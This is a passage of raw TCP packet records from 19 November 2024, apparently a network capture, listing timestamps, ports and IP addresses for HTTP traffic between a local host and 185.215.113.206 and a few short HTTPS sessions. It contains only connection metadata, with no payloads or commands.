Nov 19, 2024 20:05:51.696225882 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696289062 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.696289062 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.696307898 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696322918 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696332932 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696345091 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696362019 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696373940 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696428061 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.696428061 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.696428061 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.696428061 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.696449041 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696461916 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696471930 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696484089 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696535110 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.696535110 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.696609020 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696623087 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696671963 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696672916 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.696685076 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696696043 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696707964 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696749926 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.696749926 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.696754932 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696768045 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696770906 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.696832895 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.696832895 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.696861982 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696876049 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696887016 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696898937 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696909904 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.696959972 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.696959972 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.696959972 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.696969032 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.697083950 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.697096109 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.697107077 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.697118998 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.697129011 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.697141886 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.697160006 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.697160006 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.697160006 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.697217941 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.697218895 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.697382927 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.697395086 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.697396040 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.697407007 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.697418928 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.697429895 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.697441101 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.697446108 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.697446108 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.697446108 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.697448015 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.697472095 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.697508097 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.697577953 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.697592020 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.697604895 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.697616100 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.697628021 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.697657108 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.697686911 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.697686911 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.697686911 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.697772026 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.697794914 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.697808981 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.697820902 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.697834015 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.697844982 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.697865963 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.697865963 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.697902918 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.697916985 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.697946072 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.698048115 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.698064089 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.698074102 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.698076963 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.698101044 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.698148012 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.698148012 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.698148012 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.698168039 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.698180914 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.698191881 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.698204994 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.698259115 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.698261976 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.698261976 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.698261976 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.698270082 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.698312044 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.698333025 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.698344946 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.698390961 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.698390961 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.698450089 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.698556900 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.698568106 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.698689938 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.698689938 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.722049952 CET	64165	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.722101927 CET	443	64165	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.722161055 CET	64165	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.722619057 CET	64165	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.722630978 CET	443	64165	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.731947899 CET	443	64152	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.732032061 CET	443	64152	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.732151985 CET	64152	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.732562065 CET	64152	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.732579947 CET	443	64152	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.732589960 CET	64152	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.732753038 CET	64152	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.736800909 CET	443	64158	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.736882925 CET	443	64158	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.736948967 CET	64158	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.737266064 CET	64158	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.737282991 CET	443	64158	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.737298012 CET	64158	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.737303019 CET	443	64158	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.740143061 CET	64166	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.740185022 CET	443	64166	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.740242958 CET	64166	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.740365982 CET	64166	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:51.740381002 CET	443	64166	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:51.741806030 CET	443	64150	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.741885900 CET	443	64150	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.741964102 CET	64150	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.742276907 CET	64150	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.742290020 CET	443	64150	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:51.742310047 CET	64150	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.742357016 CET	64150	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:51.781313896 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.781332016 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.781347036 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.781358957 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.781372070 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.781410933 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.781410933 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.781428099 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.781440973 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.781452894 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.781511068 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.781511068 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.781511068 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.781974077 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.781986952 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.782043934 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.782121897 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.782135963 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.782146931 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.782154083 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.782160997 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.782198906 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.782274008 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.782288074 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.782417059 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.782428980 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.782440901 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.782454014 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.782455921 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.782455921 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.782476902 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.782483101 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.782484055 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.782543898 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.782543898 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.782594919 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.782605886 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.782618999 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.782639027 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.782668114 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.782668114 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.782823086 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.782917976 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.782932043 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.782957077 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.782957077 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.782983065 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.783090115 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.783102036 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.783113003 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.783129930 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.783143044 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.783149004 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.783149958 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.783155918 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.783166885 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.783183098 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.783207893 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.783231020 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.783243895 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.783252954 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.783266068 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.783279896 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.783279896 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.783298969 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.783330917 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.783396959 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.783410072 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.783421993 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.783468962 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.783468962 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.783468962 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.783592939 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.783605099 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.783617020 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.783894062 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.783894062 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.784580946 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.784676075 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.784692049 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.784703970 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.784714937 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.784729004 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.784744978 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.784744978 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.784744978 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.784781933 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.784812927 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.784825087 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.784837961 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.784848928 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.784862995 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.784868002 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.784885883 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.784930944 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.784954071 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.784987926 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.785156012 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785166979 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785178900 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785192966 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785204887 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785204887 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.785216093 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785233974 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.785244942 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.785284996 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.785295963 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785312891 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785325050 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785339117 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785351038 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785351992 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.785526991 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.785526991 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.785574913 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785590887 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785604954 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785617113 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785630941 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785640001 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.785643101 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785655022 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785676003 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.785676003 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.785751104 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785763979 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785775900 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785795927 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785800934 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.785800934 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.785851955 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.785851955 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.785912037 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785926104 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785938978 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785945892 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785950899 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785955906 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785963058 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.785969973 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.786015034 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.786046982 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.786094904 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.786217928 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.786232948 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.786243916 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.786254883 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.786267042 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.786302090 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.786302090 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.786322117 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.786459923 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.786472082 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.786484957 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.786495924 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.786497116 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.786509037 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.786530018 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.786530018 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.786619902 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.786990881 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.787003994 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.787100077 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.787136078 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.787147999 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.787158966 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.787172079 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.787184954 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.787252903 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.787252903 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.787611961 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.787662983 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.787672997 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.787802935 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.787834883 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.787847996 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.787859917 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.787872076 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.787885904 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.788005114 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.788011074 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.788012028 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.788017988 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.788028955 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.788041115 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.788075924 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.788075924 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.835431099 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.842614889 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.843579054 CET	443	64156	20.3.187.198	192.168.2.7
Nov 19, 2024 20:05:51.843672991 CET	443	64156	20.3.187.198	192.168.2.7
Nov 19, 2024 20:05:51.843723059 CET	64156	443	192.168.2.7	20.3.187.198
Nov 19, 2024 20:05:51.843861103 CET	64156	443	192.168.2.7	20.3.187.198
Nov 19, 2024 20:05:51.843875885 CET	443	64156	20.3.187.198	192.168.2.7
Nov 19, 2024 20:05:51.843914986 CET	64156	443	192.168.2.7	20.3.187.198
